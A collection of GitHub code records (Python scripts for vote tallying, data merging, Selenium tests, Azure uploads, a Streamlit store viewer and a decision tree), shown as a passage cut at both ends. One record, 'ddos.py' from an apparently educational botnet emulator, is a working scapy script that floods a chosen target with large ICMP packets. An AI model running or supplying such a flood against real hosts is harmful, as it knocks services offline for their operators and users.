'/static/'","repo_name":"sharathbabu232/ChatApp","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"72114179277","text":"#Import OS to enable file paths across the OS\nimport os\n\n#add the CSV module\nimport csv\n\n#CSV file path\nelection_path = os.path.join('..', 'Resources', 'election_data.csv')\n\nVoteResults = {}\nVoteTotal = []\nCandidateVotes = []\nVotePercentage = []\nWinner = []\ncandidate_list = []\ncandidate_vote_tally = []\n\n#Open the file\nwith open(election_path) as csvfile:\n\n #Specify the delimiter and read csv into dictionary\n election_reader = csv.reader(csvfile, delimiter=',')\n\n #print(election_reader)\n\n header = next(election_reader)\n\n #Add the candidates name to a list for each time they get a vote\n for row in election_reader:\n #print(row)\n CandidateVotes.append(row[2])\n \n \n\n #Count the total votes\n VoteTotal = len(CandidateVotes)\n #print(VoteTotal)\n \n #Create a set of all the candidates\n Candidates = set(CandidateVotes)\n #print(Candidates)\n\n #print(candidate_list)\n f = open(\"PyPoll Analysis.txt\", \"w\")\n\n print(\"Elections Results\")\n f.write(\"Elections Results\\n\")\n\n print(\"-------------------------\")\n f.write(\"-------------------------\\n\")\n\n print(\"Total Votes: \" + str(VoteTotal))\n f.write(\"Total Votes: \" + str(VoteTotal) + \"\\n\")\n\n print(\"-------------------------\")\n f.write(\"-------------------------\\n\")\n \n #print the candidates and they votes and percentages\n for candidate in Candidates:\n\n #calculate the candidate percentage\n candidatePercentage = \"{:.2%}\".format(CandidateVotes.count(candidate)/VoteTotal)\n #print(candidatePercentage)\n \n\n print(f'{candidate}: {candidatePercentage} ({CandidateVotes.count(candidate)})')\n f.write(f'{candidate}: {candidatePercentage} ({CandidateVotes.count(candidate)})\\n')\n \n candidate_list.append(candidate)\n #print(candidate_list)\n candidate_vote_tally.append(CandidateVotes.count(candidate))\n #print(candidate_vote_tally)\n \n \n\n \n \n print(\"-------------------------\")\n f.write(\"-------------------------\\n\")\n\n #Identify and print winner\n #My tutor David Sosa helped alot with this section, he helped me identify using the index to call the winner.\n print(f\"Winnter: {candidate_list[candidate_vote_tally.index(max(candidate_vote_tally))]}\")\n f.write(f\"Winnter: {candidate_list[candidate_vote_tally.index(max(candidate_vote_tally))]}\\n\")\n\n\n print(\"-------------------------\")\n f.write(\"-------------------------\\n\")\n\n f.close()\n\n#print(Candidates)\n#print(results)\n\n","repo_name":"MMidwinter/python-challenge","sub_path":"PyPoll/Analysis/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14568984069","text":"from scapy.all import *\nimport sys\n\ntarget = sys.argv[1]\ntotal = int(sys.argv[2])\ncounter = 0;\nwhile counter < total:\n # Send 60k bytes of junk\n packet = IP(dst=target)/ICMP()/(\"m\"*60000) \n send(packet)\n counter += 1\n","repo_name":"seed-labs/seed-emulator","sub_path":"examples/B05-botnet/ddos.py","file_name":"ddos.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":164,"dataset":"github-code","pt":"29"} +{"seq_id":"17905288924","text":"import numpy as np\nimport pandas as pd\n\n\nHQ = '../../../rcc-uchicago/PCNO/CSV/chicago/contracts_w_hq_addresses.csv'\nGEO = '../../../rcc-uchicago/PCNO/CSV/chicago/Geocoded Service Addresses/map1_addresses_geocoded.csv'\nCATEGORIES = '../../../rcc-uchicago/PCNO/Rule-based classification/chi_cook_il_classified.csv'\nMAP1B = '../../../rcc-uchicago/PCNO/CSV/chicago/Maps/map1b.csv'\n\n\ndef read_geo():\n '''\n Reads in the geocoded addresses for map 1. Drops the 'Match Score' column.\n Returns a dataframe.\n '''\n\n # Read in the geocoded file and convert Zip to string\n df = pd.read_csv(GEO,converters={'Zip':str})\n\n # Drop these columns\n df = df.drop(['Match Score','AddressID'],axis=1)\n\n return df\n\n\ndef read_contracts():\n '''\n Reads in the contracts with headquarter addresses. Returns a dataframe.\n '''\n\n # Read in the contracts with headquarter addresses and convert Zip to string\n df = pd.read_csv(HQ,converters={'Zip':str})\n\n # Keep only records where the state is IL\n df = df[df['State'] == 'IL']\n\n return df\n\n\ndef add_jurisdic(df):\n '''\n Takes a dataframe of contracts and adds a column with the jurisdiction of\n each contract, that is, whether it is from City of Chicago, Cook County, or\n State of Illinois. Returns a dataframe.\n '''\n\n df['Jurisdic'] = ''\n df['Jurisdic'] = df.apply(lambda x: 'CHICAGO' if x['CSDS_Contract_ID'].startswith('CHI') \\\n else 'COOK' if x['CSDS_Contract_ID'].startswith('COOK') \\\n else 'IL', axis=1)\n\n return df\n\n\ndef read_categories():\n '''\n Reads in the service-code classifications for the contracts. Returns a\n dataframe.\n '''\n\n # Read in the classifications file\n df = pd.read_csv(CATEGORIES)\n\n # Keep only these columns\n df = df[['Classification','Contract Number']]\n\n # Rename column\n df = df.rename(columns={'Contract Number':'ContractNumber'},index=str)\n\n return df\n\n\ndef merge():\n '''\n Reads in the geocoded headquarter addresses, the contracts, and the service\n classifications. Merges the dataframes together. Returns a dataframe.\n '''\n\n # Read in the geocoded file\n geo = read_geo()\n\n # Read in the contracts and add jurisdiction\n contracts = read_contracts()\n contracts = add_jurisdic(contracts)\n\n # Read in the service categories\n cats = read_categories()\n\n # Merge the geocoding into the contracts\n df = contracts.merge(geo,how='left')\n\n # Merge the service categories into the contracts\n df = df.merge(cats,how='left')\n\n # Drop this column\n df = df.drop('AddressID',axis=1)\n\n return df.drop_duplicates().reset_index(drop=True)\n\n\nif __name__ == '__main__':\n\n merged = merge()\n merged.to_csv(MAP1B,index=False)\n","repo_name":"GeoDaCenter/contracts_cleaning","sub_path":"PCNO/map1b.py","file_name":"map1b.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21071405399","text":"from pages.web_tables import WebTables\nimport time\nimport logging\nfrom selenium.webdriver.common.keys import Keys\n\n\ndef test_webtables_1(browser):\n page = WebTables(browser)\n\n page.visit()\n assert page.add_new_record.exist()\n for i in range(1):\n page.add_new_record.click()\n time.sleep(0.3)\n assert page.dialog_add_window.exist()\n page.dialog_submit.click()\n time.sleep(0.3)\n assert page.dialog_add_window.exist()\n page.first_name_input.send_keys('Mamma')\n page.last_name_input.send_keys('Mia')\n page.user_email_input.send_keys('Pepperony@pizza.it')\n page.user_age_input.send_keys('10')\n page.user_salary_input.send_keys('300')\n page.user_department_input.send_keys('Deep Dark department')\n page.dialog_submit.click()\n assert not page.dialog_add_window.exist()\n assert page.row_4_delete_btn.exist()\n page.edit_4.click()\n assert page.dialog_add_window.exist()\n assert page.first_name_input.get_dom_attribute('value') == 'Mamma'\n assert page.last_name_input.get_dom_attribute('value') == 'Mia'\n assert page.user_email_input.get_dom_attribute('value') == 'Pepperony@pizza.it'\n assert page.user_age_input.get_dom_attribute('value') == '10'\n assert page.user_salary_input.get_dom_attribute('value') == '300'\n assert page.user_department_input.get_dom_attribute('value') == 'Deep Dark department'\n page.first_name_input.clear()\n page.first_name_input.send_keys('Mamm')\n page.dialog_submit.click()\n assert page.row_4_first_name_value.get_text() == 'Mamm'\n while page.row_4_delete_btn.exist():\n delete_4 = page.rows_delete_btns.find_elements()\n delete_4[3].click()\n time.sleep(1)\n try:\n assert not page.row_4_delete_btn.exist()\n except Exception as ex:\n logging.log(1, ex)\n break\n assert not page.row_4_delete_btn.exist()\n time.sleep(3)\n\n\ndef test_webtables_2(browser):\n page = WebTables(browser)\n page.visit()\n page.count_of_rows_selector.click_force()\n page.count_of_rows_selector.send_keys(Keys.UP)\n page.count_of_rows_selector.send_keys(Keys.ENTER)\n\n assert page.equal_url()\n assert page.count_of_all_rows.check_count_elements(5)\n\n assert page.btn_previous.get_dom_attribute('disabled')\n assert page.btn_next.get_dom_attribute('disabled')\n for i in range(3):\n page.add_new_record.click()\n time.sleep(0.3)\n page.first_name_input.send_keys('Mamma')\n page.last_name_input.send_keys('Mia')\n page.user_email_input.send_keys('Pepperony@pizza.it')\n page.user_age_input.send_keys('10')\n page.user_salary_input.send_keys('300')\n page.user_department_input.send_keys('Deep Dark department')\n page.dialog_submit.click()\n time.sleep(0.3)\n\n assert page.page_of_count.get_text() == '2'\n assert not page.btn_next.get_dom_attribute('disabled')\n page.btn_next.click()\n assert page.page_number_input.get_dom_attribute('value') == '2'\n page.btn_previous.click()\n assert page.page_number_input.get_dom_attribute('value') == '1'\n","repo_name":"danyahin/demoqa","sub_path":"tests/tests_hw/test_webtables.py","file_name":"test_webtables.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9106909644","text":"from ctypes import alignment\r\nimport tkinter as tk\r\nfrom webbrowser import Chrome\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\n\r\nroot= tk.Tk()\r\ncanvas1 = tk.Canvas(root, width = 500, height = 400, bg='black')\r\ncanvas1.pack()\r\n\r\ndef type(driver): #typewrite\r\n url = \"https://typing-speed-test.aoeu.eu/\"\r\n \r\n \r\n driver.get(url) #open the url\r\n\r\n driver.implicitly_wait(0.5) # make the cookie load\r\n try:\r\n AGREE = driver.find_element(By.XPATH, '/html/body/div[1]/div/div/div/div[2]/div/button[2]') \r\n AGREE.click() #accept the cookie\r\n except:\r\n driver.implicitly_wait(0.01)\r\n\r\n total_words = driver.find_elements(By.CLASS_NAME,\"currentword\") + driver.find_elements(By.CLASS_NAME,\"nextword\")\r\n input_area = driver.find_element(By.ID, \"input\")\r\n \r\n driver.execute_script(\"arguments[0].scrollIntoView();\", input_area)\r\n input_area.click()\r\n for word in total_words: #read current word\r\n input_area.send_keys(word.text + \" \") #put the input\r\ndef fire (): #button \"firefox\", it will start the program with firefox\r\n label1 = tk.Label(root, text= 'opening program with firefox', fg='blue', font=('helvetica', 12, 'bold'))\r\n canvas1.create_window(250, 200, window=label1)\r\n type(webdriver.Firefox())\r\ndef chr (): #button \"chrome\", it will start the program with chrome\r\n\r\n label1 = tk.Label(root, text= 'opening program with chrome', fg='red', font=('helvetica', 12, 'bold'))\r\n canvas1.create_window(250, 200, window=label1)\r\n type(webdriver.Chrome())\r\n\r\nlabel3 = tk.Label(root, text= 'Chose a Browser to use for the typewriter', fg='blue',bg='gray', font=('timesnewroman', 19, 'bold')) # \"chose a browser... text\r\ncanvas1.create_window(250, 100, window=label3)\r\n\r\nbutton1 = tk.Button(text='Firefox', command=fire, bg='brown',fg='white')\r\ncanvas1.create_window(150, 150, window=button1)\r\n\r\nbutton2 = tk.Button(text='Chrome', command=chr, bg='yellow',fg='black')\r\ncanvas1.create_window(350, 150, window=button2)\r\n\r\n\r\n\r\nroot.mainloop()\r\n","repo_name":"sawers014/Python-stuff","sub_path":"automatic typewrite.py","file_name":"automatic typewrite.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"19627472576","text":"import cgi\nimport datetime\nimport json\nimport logging\nimport mimetypes\nimport os\nimport uuid\n\nimport ckan.lib.munge as munge\nimport ckan.model as model\nimport ckan.plugins.toolkit as toolkit\n\nfrom azure.core.exceptions import AzureError, ClientAuthenticationError, HttpResponseError, ResourceNotFoundError\nfrom azure.storage.blob import BlobClient, BlobServiceClient, ContainerClient\n\nif toolkit.check_ckan_version(min_version='2.7.0'):\n from werkzeug.datastructures import FileStorage as FlaskFileStorage\n ALLOWED_UPLOAD_TYPES = (cgi.FieldStorage, FlaskFileStorage)\nelse:\n ALLOWED_UPLOAD_TYPES = (cgi.FieldStorage)\n\nconfig = toolkit.config\nlog = logging.getLogger(__name__)\n\n_storage_path = None\n_max_resource_size = None\n_max_image_size = None\n\n\ndef _get_underlying_file(wrapper):\n if isinstance(wrapper, FlaskFileStorage):\n return wrapper.stream\n return wrapper.file\n\n\nclass AzureFileStoreException(Exception):\n pass\n\n\nclass BaseAzureUploader(object):\n\n def __init__(self):\n log.debug('initializing BaseAzureUploader')\n self.connect_str = config.get('ckanext.azurefilestore.connect_str')\n self.container_name = config.get('ckanext.azurefilestore.container_name')\n self.container_client = self.get_container_client(self.container_name)\n\n def get_directory(self, id, storage_path):\n directory = os.path.join(storage_path, id)\n return directory\n\n def get_blob_service_client(self):\n log.debug('connect_str: ' + self.connect_str)\n return BlobServiceClient.from_connection_string(self.connect_str)\n\n def get_container_client(self, container_name):\n '''Return an azure container, creating it if it doesn't exist.'''\n log.debug('container_name: ' + container_name)\n container_client = None\n try:\n blob_service_client = self.get_blob_service_client()\n container_client = blob_service_client.get_container_client(container_name)\n # test if container exists\n props = container_client.get_container_properties()\n log.debug('container: ' + str(props))\n except ResourceNotFoundError as e:\n log.warning(\n 'Container {0} could not be found,\\\n attempting to create it...'.format(container_name))\n try:\n container_client = blob_service_client.create_container(container_name)\n log.info('Container {0} succesfully created'.format(container_name))\n except AzureError as e:\n raise AzureFileStoreException('Could not create container {0}: {1}'.format(\n container_name, str(e)))\n except ClientAuthenticationError as e:\n raise AzureFileStoreException(\n 'Error authenticating with Azure for container {0}: {1}'.format(\n container_name, str(e)))\n except HttpResponseError as e:\n raise AzureFileStoreException(\n 'Error in HTTP response ({0}) while getting container {1}: {2}'.format(\n e.status_code, container_name, str(e)))\n except AzureError as e:\n raise AzureFileStoreException(\n 'Something went wrong for container {0}: {1}'.format(container_name, str(e)))\n\n return container_client\n\n def upload_to_key(self, filepath, upload_file, make_public=False):\n '''Uploads the `upload_file` to `filepath` on `self.container_client`.'''\n upload_file.seek(0)\n try:\n blob_service_client = self.get_blob_service_client()\n blob_client = blob_service_client.get_blob_client(\n container=self.container_name, blob=filepath)\n blob_client.upload_blob(upload_file)\n log.info(\"Succesfully uploaded {0} to Azure!\".format(filepath))\n except Exception as e:\n log.error('Something went wrong while uploading: {0}'.format(str(e)))\n raise e\n\n def clear_key(self, filepath):\n '''Deletes the contents of the key at `filepath` on `self.container_client`.'''\n try:\n blob_service_client = self.get_blob_service_client()\n blob_client = blob_service_client.get_blob_client(\n container=self.container_name, blob=filepath)\n blob_client.delete_blob()\n log.info(\"Succesfully deleted {0}!\".format(filepath))\n except Exception as e:\n log.error('Something went wrong while deleting: {0}'.format(str(e)))\n raise e\n\n\nclass AzureUploader(BaseAzureUploader):\n '''\n An uploader class to replace local file storage with Azure Blob Storage\n for general files.\n '''\n\n def __init__(self, upload_to, old_filename=None):\n '''Setup the uploader. Additional setup is performed by\n `update_data_dict()`, and actual uploading is performed by `upload()`.\n Create a storage path in the format:\n <ckanext.azurefilestore.storage_path>/storage/uploads/<upload_to>/\n '''\n super(AzureUploader, self).__init__()\n\n self.storage_path = self.get_storage_path(upload_to)\n\n self.filename = None\n self.filepath = None\n\n self.old_filename = old_filename\n if old_filename:\n self.old_filepath = os.path.join(self.storage_path, old_filename)\n\n @classmethod\n def get_storage_path(cls, upload_to):\n path = config.get('ckanext.azurefilestore.storage_path', '')\n return os.path.join(path, 'storage', 'uploads', upload_to)\n\n def update_data_dict(self, data_dict, url_field, file_field, clear_field):\n '''Manipulate data from the data_dict. This needs to be called before it\n reaches any validators.\n `url_field` is the name of the field where the upload is going to be.\n `file_field` is name of the key where the FieldStorage is kept (i.e\n the field where the file data actually is).\n `clear_field` is the name of a boolean field which requests the upload\n to be deleted.\n '''\n self.url = data_dict.get(url_field, '')\n self.clear = data_dict.pop(clear_field, None)\n self.file_field = file_field\n self.upload_field_storage = data_dict.pop(file_field, None)\n\n if not self.storage_path:\n return\n\n if isinstance(self.upload_field_storage, ALLOWED_UPLOAD_TYPES):\n self.filename = self.upload_field_storage.filename\n self.filename = str(datetime.datetime.utcnow()) + self.filename\n self.filename = munge.munge_filename_legacy(self.filename)\n self.filepath = os.path.join(self.storage_path, self.filename)\n data_dict[url_field] = self.filename\n self.upload_file = _get_underlying_file(self.upload_field_storage)\n elif self.old_filename and not self.old_filename.startswith('http'):\n # keep the file if there has been no change\n if not self.clear:\n data_dict[url_field] = self.old_filename\n if self.clear and self.url == self.old_filename:\n data_dict[url_field] = ''\n\n def upload(self, max_size=2):\n '''Actually upload the file.\n This should happen just before a commit but after the data has been\n validated and flushed to the db. This is so we do not store anything\n unless the request is actually good.\n max_size is size in MB maximum of the file'''\n\n # If a filename has been provided (a file is being uploaded), write the\n # file to the appropriate key in the azure container.\n if self.filename:\n self.upload_to_key(self.filepath, self.upload_file,\n make_public=True)\n self.clear = True\n\n if (self.clear and self.old_filename\n and not self.old_filename.startswith('http')):\n self.clear_key(self.old_filepath)\n\n\nclass AzureResourceUploader(BaseAzureUploader):\n '''\n An uploader class to replace local file storage with Azure Blob Storage\n for resource files.\n '''\n\n def __init__(self, resource):\n '''Setup the resource uploader. Actual uploading is performed by\n `upload()`.\n Create a storage path in the format:\n <ckanext.azurefilestore.storage_path>/resources/\n '''\n super(AzureResourceUploader, self).__init__()\n path = config.get('ckanext.azurefilestore.storage_path', '')\n self.storage_path = os.path.join(path, 'resources')\n self.filename = None\n self.old_filename = None\n\n upload_field_storage = resource.pop('upload', None)\n self.clear = resource.pop('clear_upload', None)\n\n if isinstance(upload_field_storage, ALLOWED_UPLOAD_TYPES):\n self.filename = upload_field_storage.filename\n self.filename = munge.munge_filename(self.filename)\n resource['url'] = self.filename\n resource['url_type'] = 'upload'\n resource['last_modified'] = datetime.datetime.utcnow()\n self.mimetype = resource.get('mimetype')\n if not self.mimetype:\n try:\n self.mimetype = resource['mimetype'] = mimetypes.guess_type(self.filename, strict=False)[0]\n except Exception:\n pass\n self.upload_file = _get_underlying_file(upload_field_storage)\n elif self.clear and resource.get('id'):\n # New, not yet created resources can be marked for deletion if the\n # user cancels an upload and enters a URL instead.\n old_resource = model.Session.query(model.Resource) \\\n .get(resource['id'])\n self.old_filename = old_resource.url\n resource['url_type'] = ''\n\n def get_path(self, id, filename):\n '''Return the key used for this resource in azure.\n Keys are in the form:\n <ckanext.azurefilestore.storage_path>/resources/<resource id>/<filename>\n e.g.:\n my_storage_path/resources/165900ba-3c60-43c5-9e9c-9f8acd0aa93f/data.csv\n '''\n directory = self.get_directory(id, self.storage_path)\n filepath = os.path.join(directory, filename)\n return filepath\n\n def upload(self, id, max_size=10):\n '''Upload the file to azure.'''\n\n # If a filename has been provided (a file is being uploaded) write the\n # file to the appropriate key in the azure container.\n if self.filename:\n filepath = self.get_path(id, self.filename)\n self.upload_to_key(filepath, self.upload_file)\n\n # The resource form only sets `self.clear` (via the input clear_upload)\n # to True when an uploaded file is not replaced by another uploaded\n # file, only if it is replaced by a link. If the uploaded file is\n # replaced by a link, we should remove the previously uploaded file to\n # clean up the file system.\n if self.clear and self.old_filename:\n filepath = self.get_path(id, self.old_filename)\n self.clear_key(filepath)\n","repo_name":"markmo/ckanext-azurefilestore","sub_path":"ckanext/azurefilestore/uploader.py","file_name":"uploader.py","file_ext":"py","file_size_in_byte":11046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28410198911","text":"import pandas as pd\nimport streamlit as st\n\n\ndef main():\n st.beta_set_page_config(\n page_title = 'SPI',\n page_icon = '🔍',\n )\n \n st.title('Shopify Product Images')\n \n url = st.text_input('Website URL:', '')\n\n if url:\n try:\n if not url.startswith('http'):\n url = 'https://' + url\n if not url.endswith('/'):\n url += '/'\n json_url = url + 'products.json?limit=500'\n df = pd.read_json(json_url)\n except:\n df = None\n \n\n if df is None:\n st.warning('Please check the input website url is valid.')\n else:\n st.markdown(f'Data source: <a href=\"{json_url}\">{json_url[:-10]}</a>', unsafe_allow_html=True)\n df = df['products'].apply(pd.Series)\n if st.checkbox('Show raw data'):\n st.write(df)\n \n products = st.multiselect('Select Products', ['ALL'] + list(df['title'].unique()))\n keyword = st.text_input('Search for Products', '')\n\n if products:\n if 'ALL' in products:\n selected = df.copy()\n else:\n selected = df.loc[df.title.isin(products)] \n with st.spinner('Loading images...'):\n for i in selected.index:\n st.subheader(df.iloc[i].title)\n st.write(f'{url}products/{df.iloc[i].handle}')\n try:\n price = df.iloc[i]['variants'][0]['price']\n except:\n price = None\n if price is not None:\n st.write(f'Price: ${price}')\n st.write(df.iloc[i]['body_html'], unsafe_allow_html=True)\n for img in df.iloc[i].images:\n st.image(img['src'], use_column_width=True)\n st.markdown('---')\n elif keyword:\n df['lower'] = df.title.str.lower()\n keyword = [x.lower() for x in keyword.split()]\n selected = df.loc[df.lower.apply(lambda title: all(word in title for word in keyword))]\n with st.spinner('Loading images...'):\n for i in selected.index:\n st.subheader(df.iloc[i].title)\n st.write(f'{url}products/{df.iloc[i].handle}')\n try:\n price = df.iloc[i]['variants'][0]['price']\n except:\n price = None\n if price is not None:\n st.write(f'Price: ${price}')\n st.write(df.iloc[i]['body_html'], unsafe_allow_html=True)\n for img in df.iloc[i].images:\n st.image(img['src'], use_column_width=True)\n st.markdown('---')\n # if st.checkbox('Show Image Links'):\n # for i in selected.index:\n # st.subheader(df.iloc[i].title)\n # for j, img in enumerate(df.iloc[i].images):\n # st.write(img['src'])\n # st.markdown('---')\n\n\n\n # Hide footer\n hide_footer_style = \"\"\"\n <style>\n .reportview-container .main footer {visibility: hidden;}\n \"\"\"\n # Hide hamburger menu\n st.markdown(hide_footer_style, unsafe_allow_html=True)\n hide_menu_style = \"\"\"\n <style>\n #MainMenu {visibility: hidden;}\n </style>\n \"\"\"\n st.markdown(hide_menu_style, unsafe_allow_html=True)\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"docjsha/shopify-images-app","sub_path":"SPI.py","file_name":"SPI.py","file_ext":"py","file_size_in_byte":3769,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"10239041781","text":"\"\"\"\nJeffery Russell\n9/29/17\n\"\"\"\n\nimport subprocess\nimport os.path\n\n\ndef input_file(file_name):\n \"\"\"\n This file inputs the file defined by INPUT_FILE into a string line and returns it\n :return: a string array containing the lines of INPUT_FILE\n \"\"\"\n f = []\n with open(file_name.strip('\\n')) as file:\n for line in file:\n f.append(line.strip(' \\t\\n\\r'))\n return f\n\n\ndef input_file_with_new_line(file_name):\n \"\"\"\n Reads an entire file and returns the contents as a string\n \"\"\"\n f = \"\"\n with open(file_name.strip('\\n')) as file:\n for line in file:\n f = f + line\n return f\n\n\ndef check_file_exists(fileloc):\n \"\"\"\n Function which checks to see if a file exists\n :return: whether file exists\n \"\"\"\n return os.path.exists(fileloc)\n\n\ndef append_file(file_name, append):\n \"\"\"\n Appends text to bottom of a text file\n :param file_name: name of file\n :param append: message to append on file\n :return: None\n \"\"\"\n file_name = os.path.expanduser(file_name)\n f = open(file_name, \"a+\")\n f.write(append + \"\\n\")\n f.close()\n\n\ndef remove_line_from_file(file_name, remove):\n \"\"\"\n removes a single line of text from a text file\n :param file_name:\n :param remove:\n :return:\n \"\"\"\n lines = input_file(file_name)\n f = open(file_name, \"w\")\n for host in lines:\n if remove not in host:\n f.write(host + \"\\n\")\n f.close()\n\n\ndef create_empty_file(file_name):\n \"\"\"\n simple function to create a new file on system\n \"\"\"\n file_name = file_name.replace('\\n', '')\n subprocess.call(['touch', file_name])\n\n\n# TOP_BAR = \"********************************************\"\n# TOP_BAR =\n\n\ndef print_magenta(prt): return \"\\033[95m {}\\033[00m\".format(prt)\n\n\ndef print_green(prt): return \"\\033[92m {}\\033[00m\".format(prt)\n\n\ndef print_red(prt): return \"\\033[91m {}\\033[00m\".format(prt)\n\n\ndef print_menu_option(s, top_bar_length):\n \"\"\"\n Prints each host option\n :param s:\n :return:\n \"\"\"\n space = \" \" * (top_bar_length - 4 - len(s))\n print(print_magenta(\"* \") + s + space + print_magenta(\"*\"))\n\n\ndef print_menu(name, lines):\n \"\"\"\n Function which prints a nice menu for the user (box thing)\n\n ex:\n\n **************************************\n * SSH Drive Manager *\n * 1) Remove Remote Drive *\n * 2) Add Drive to Mount *\n * 3) View Drives *\n * 4) Exit *\n **************************************\n\n \"\"\"\n padding_star = \"*\" * 5\n temp = 31\n max_len = 31\n for s in lines:\n temp = len(s)\n if max_len < temp:\n max_len = temp\n TOP_BAR = padding_star + \"*\" * max_len + padding_star\n if not len(name) % 2 == 0:\n name = name + \" \"\n name = name + \" \"\n spaces = len(TOP_BAR) - 4 - len(name)\n\n print(print_magenta(TOP_BAR))\n\n print(print_magenta(\"*\") +\n (int(spaces / 2) * \" \") +\n print_green(name) +\n (int(spaces / 2) * \" \") +\n print_magenta(\"*\"))\n\n for s in lines:\n print_menu_option(s, len(TOP_BAR))\n print(print_magenta(TOP_BAR))\n","repo_name":"jrtechs/bash_manager","sub_path":"src/utils/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"33067051593","text":"\"\"\"\nCAPP30122 W'19: Building decision trees\n\nZiyu Ye, Kunyu He\n\"\"\"\n\nimport math\nimport sys\nimport pandas as pd\nimport numpy as np\n\n\nclass DecisionTree:\n \"\"\"\n The data structure that can represent a tree for decision making.\n\n See constructor for detailed description of attributes.\n \"\"\"\n\n def __init__(self, data, attributes):\n \"\"\"\n Construct a DecisionTree object.\n\n Parameters:\n - data (DataFrame): raw data to be structured\n - attributes (list of strings): the feature names of the data\n\n Attributes:\n - data (DataFrame): raw data to be structured\n - attributes (list of strings): a sorted list of feature names\n - target (str): name of the last column (target) of the data\n - label (str): value from the target column that occurs most often\n - split_attr (str): column that data at the node to be split on\n - children (dict): a dictionary mapping edges (certain values of\n attributes) to DecisionTree objects\n \"\"\"\n self.data = data\n self.attributes = sorted(attributes)\n self.__target = self.data.columns[-1]\n\n values = sorted(self.data[self.__target].unique())\n self.__label = values[np.argmax([sum(self.data[self.__target] == value)\n for value in values])]\n self.__split_attr = None\n self.__children = {}\n\n @staticmethod\n def __rate(data, attribute, value):\n \"\"\"\n Calculate the proportion of observations in a subset where an\n attribute is equal to certain value.\n\n Inputs:\n - data (DataFrame): the data set\n - attribute (str): name of a column in the data set\n - value (any): the value corresponding to the attribute\n\n Returns:\n - (float)\n \"\"\"\n return sum(data[attribute] == value) / data.shape[0]\n\n def __attr_gini(self, data, attribute):\n \"\"\"\n Compute the gini coefficient of an attribute in the data set.\n\n Inputs:\n - data (DataFrame): the data set\n - attribute (str): name of a column in the data set\n\n Returns:\n - (float)\n \"\"\"\n gini = 1\n for value in data[attribute].unique():\n gini -= self.__rate(data, attribute, value)**2\n return gini\n\n def __attr_gain_ratio(self, attribute):\n \"\"\"\n Calculate gain ratio of splitting the data set on a given column.\n\n Inputs:\n - attribute (str): name of the column to split on\n\n Returns:\n - (float)\n \"\"\"\n gain = self.__attr_gini(self.data, self.__target)\n split_info = 0\n attr = self.data[attribute]\n\n for value in attr.unique():\n gain -= self.__rate(self.data, attribute, value) * \\\n self.__attr_gini(self.data[attr == value], self.__target)\n split_info -= self.__rate(self.data, attribute, value) * \\\n math.log(self.__rate(self.data, attribute, value))\n\n if split_info == 0:\n return 0\n return gain / split_info\n\n def find_best_split(self):\n \"\"\"\n Find the attribute with the largest gain ratio and set it as the\n attribute for the decision tree to split on.\n\n Inputs:\n - None (the DecisionTree itself)\n\n Returns:\n - (None)\n \"\"\"\n self.__split_attr = self.attributes[np.argmax([\n self.__attr_gain_ratio(attr) for attr in self.attributes])]\n\n def is_leaf(self):\n \"\"\"\n Check whether the current tree is actually a leaf node. It is a leaf\n node when target attribute in the tree data takes only one value, or\n the attributes is an empty set, or observations take identical value\n across all the columns.\n\n Inputs:\n - None (the Decision Tree itself)\n\n Returns:\n - (Boolean) True if it is a leaf node; otherwise False\n \"\"\"\n if any([self.data[self.__target].nunique() == 1, not self.attributes,\n all(self.data[self.attributes].apply(lambda col:\n col.nunique() == 1))]):\n return True\n return False\n\n def train(self):\n \"\"\"\n Build the decision tree recursively based on the given training data.\n\n Inputs:\n - None (the Decision Tree itself)\n\n Returns:\n - (Decision Tree) a trained DecisionTree object\n \"\"\"\n if self.is_leaf():\n return self\n\n self.find_best_split()\n if self.__attr_gain_ratio(self.__split_attr) == 0:\n return self\n\n for edge in self.data[self.__split_attr].unique():\n sub_data = self.data[self.data[self.__split_attr] == edge]\n sub_attr = list(filter(lambda x: x != self.__split_attr,\n self.attributes))\n self.__children[edge] = DecisionTree(sub_data, sub_attr).train()\n return self\n\n def classify(self, row):\n \"\"\"\n Classify a certain row from the test set based on the trained tree and\n return the label iteratively.\n\n Inputs:\n - row (numpy Series): a row from the test set\n\n Returns:\n - (str) label of the input row\n \"\"\"\n if not self.__children or \\\n row[self.__split_attr] not in self.__children:\n return self.__label\n\n return self.__children[row[self.__split_attr]].classify(row)\n\n\ndef go(training_filename, testing_filename):\n \"\"\"\n Construct a decision tree using the training data and then apply\n it to the testing data.\n\n Inputs:\n - training_filename (str): the name (with path) of the file with the\n training data\n - testing_filename (str): the name (with path) of the file with the\n testing data\n\n Returns:\n - output (list of strings): result of applying the decision tree to the\n testing data\n \"\"\"\n train = pd.read_csv(training_filename, dtype=str)\n test = pd.read_csv(testing_filename, dtype=str)\n output = []\n\n trained_tree = DecisionTree(train, list(train.columns[:-1])).train()\n for _, row in test.iterrows():\n output.append(trained_tree.classify(row))\n\n return output\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"usage: python3 {} <training filename> <testing filename>\".format(\n sys.argv[0]))\n sys.exit(1)\n\n for result in go(sys.argv[1], sys.argv[2]):\n 